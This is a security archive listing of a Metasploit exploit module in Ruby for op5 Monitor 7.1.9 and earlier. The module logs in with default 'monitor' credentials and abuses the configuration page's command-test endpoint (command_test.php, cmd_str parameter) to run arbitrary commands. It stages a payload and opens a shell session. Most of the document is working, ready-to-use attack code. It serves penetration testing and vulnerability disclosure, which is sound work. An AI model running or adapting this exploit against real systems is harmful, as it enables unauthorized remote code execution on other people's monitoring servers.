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op5 7.1.9 Configuration Command Execution

op5 7.1.9 Configuration Command Execution
Posted Jun 16, 2016
Authored by h00die, hyp3rlinx | Site metasploit.com

The configuration page in version 7.1.9 and below of op5 allows the ability to test a system command, which can be abused to run arbitrary code as an unprivileged user.

tags | exploit, arbitrary
SHA-256 | 34a689b22e757960916b2b0af3d9484a9d86ebc2d53f95c0c172deab2122b07e

op5 7.1.9 Configuration Command Execution

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##
## This module requires Metasploit: http://metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

Rank = ExcellentRanking
def initialize(info = {})
super(
update_info(
info,
'Name' => 'op5 v7.1.9 Configuration Command Execution',
'Description' => %q(
op5 an open source network monitoring software.
The configuration page in version 7.1.9 and below
allows the ability to test a system command, which
can be abused to run arbitrary code as an unpriv user.
),
'Author' =>
[
'h00die <mike@shorebreaksecurity.com>', # module
'hyp3rlinx' # discovery
],
'References' =>
[
[ 'EDB', '39676' ],
[ 'URL', 'https://www.op5.com/blog/news/op5-monitor-7-2-0-release-notes/']
],
'License' => MSF_LICENSE,
'Platform' => ['linux', 'unix'],
'Privileged' => false,
'DefaultOptions' => { 'SSL' => true },
'Targets' =>
[
[ 'Automatic Target', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 08 2016'
)
)

register_options(
[
Opt::RPORT(443),
OptString.new('USERNAME', [ true, 'User to login with', 'monitor']),
OptString.new('PASSWORD', [ false, 'Password to login with', 'monitor']),
OptString.new('TARGETURI', [ true, 'The path to the application', '/'])
], self.class
)
end

def check
begin
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'GET'
)
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
/Version: (?<version>[\d]{1,2}\.[\d]{1,2}\.[\d]{1,2})[\s]+\|/ =~ res.body

if version && Gem::Version.new(version) <= Gem::Version.new('7.1.9')
vprint_good("Version Detected: #{version}")
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end

def exploit
execute_cmdstager(
:flavor => :echo
)
end

def execute_command(cmd, opts)
begin
# To manually view the vuln page, click Manage > Configure > Commands.
# Click the "Test this command" button to display the form we abuse.

# login
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'monitor/index.php/auth/login'),
'method' => 'POST',
'vars_get' =>
{
'uri' => 'tac/index'
},
'vars_post' =>
{
'csrf_token' => '',
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
)

fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 302
cookie = res.get_cookies
# exploit
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'monitor/op5/nacoma/command_test.php'),
'method' => 'GET',
'cookie' => cookie,
'vars_get' =>
{
'cmd_str' => cmd
}
)

# success means we hang our session, and wont get back a response
if res
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Credentials need additional privileges") if res.body =~ /Access Denied/
end

rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end

def on_new_session(session)
super
session.shell_command_token('setsid $SHELL')
end
end
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